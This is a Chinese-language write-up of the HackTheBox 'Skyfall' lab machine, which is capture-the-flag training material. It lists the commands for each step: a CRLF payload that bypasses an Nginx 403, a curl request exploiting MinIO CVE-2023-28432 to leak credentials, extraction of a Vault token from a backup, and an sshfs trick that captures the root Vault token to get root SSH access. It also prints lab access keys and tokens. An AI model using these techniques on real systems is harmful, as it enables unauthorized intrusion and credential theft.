506 字
3 分鐘
HTB-Skyfall

HackTheBox: Skyfall Write-up#

分享一下當時的Rank

Enumeration#

使用Nmap掃描目標開放端口

nmap -Pn -sCV 10.10.11.254

Nmap結果顯示目標開放SSHWeb服務

訪問Web服務可以在首頁找到Demo網站 http://demo.skyfall.htb

IMPORTANT

skyfall.htbdemo.skyfall.htb加入hosts

sudo nano /etc/hosts

訪問Demo網站,使用guest/guest登入

登入後在底部可以發現後端為Flask

左側列表可以發現MinIO Metrics

點擊MinIO Metrics回應狀態碼403,網頁伺服器Nginx版本為1.18.0

http://demo.skyfall.htb/metrics

Foothold#

NOTE

繞過Nginx 403頁面的兩種方法

  1. https://book.hacktricks.xyz/pentesting-web/proxy-waf-protections-bypass
  2. https://book.hacktricks.xyz/pentesting-web/crlf-0d-0a

這裡我選擇第2種方法,使用wfuzz模糊測試

wfuzz --sc 200 -H '{Your_Cookie}' -w '{Your_Payload}' 'http://demo.skyfall.htb/metricsFUZZ'

%0A回應狀態碼200

訪問MinIO Metrics後,可以在底部發現MinIO版本及儲存桶

version: 2023-03-13T19:46:17Z

http://prd23-s3-backend.skyfall.htb/minio/v2/metrics/cluster

GOOGLE搜尋MinIO+版本可以找到CVE-2023-28432及利用方式

https://www.securityjoes.com/post/new-attack-vector-in-the-cloud-attackers-caught-exploiting-object-storage-services

洩漏USER和PASSWORD

curl -s -X POST http://prd23-s3-backend.skyfall.htb/minio/bootstrap/v1/verify | jq .

min.io下載Client端

詳細操作請閱讀官方文檔

執行mc訪問儲存桶

./mc alias set minio http://prd23-s3-backend.skyfall.htb/ 5GrE1B2YGGyZzNHZaIww GkpjkmiVmpFuL2d3oRx0
./mc ls minio

列出askyy儲存桶中檔案的所有版本

./mc ls --versions minio/askyy

指定版本複製到本地

./mc cp --vid=2b75346d-2a47-4203-ab09-3c9f878466b8 minio/askyy/home_backup.tar.gz .

列出壓縮檔內的檔案

tar -tzf home_backup.tar.gz

讀取.bashrc取得VAULT_TOKEN

tar -xOzf home_backup.tar.gz ./.bashrc

Vault下載Client端

詳細操作請閱讀官方文檔

設置環境變數

export VAULT_ADDR="http://prd23-vault-internal.skyfall.htb"
export VAULT_TOKEN="hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE"

查詢TOKEN的詳細資訊

./vault token lookup

查詢所有路徑的權限(官方文檔)

NOTE

輸出選項用法

./vault read -format=json sys/internal/ui/resultant-acl | jq .

其中ssh/creds/dev_otp_key_role擁有create權限

為askyy生成SSH連線的一次性密碼(官方文檔)

./vault write ssh/creds/dev_otp_key_role ip=10.10.11.254 username=askyy

SSH連線輸入Password

Password=key

ssh -o PubkeyAuthentication=no askyy@10.10.11.254

Privilege Escalation#

查詢sudo權限

sudo -l

sudo執行以下命令後會生成debug.log

sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -vd

查看/etc/fuse.confuser_allow_other選項預設是被註解掉的

user_allow_other啟用的影響

cat /etc/fuse.conf

使用sshfs掛載/home/askyy/tmp/pwn

mkdir /tmp/pwn
/tmp/sshfs -o allow_other askyy@127.0.0.1:/home/askyy /tmp/pwn
cd /tmp/pwn
sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -vd
cat debug.log

設置rootVAULT_TOKEN

export VAULT_TOKEN="hvs.I0ewVsmaKU1SwVZAKR3T0mmG"

列出ssh/roles

./vault list ssh/roles

為root生成SSH連線的一次性密碼

./vault write ssh/creds/admin_otp_key_role ip=10.10.11.254 username=root

SSH連線輸入Password

ssh -o PubkeyAuthentication=no root@10.10.11.254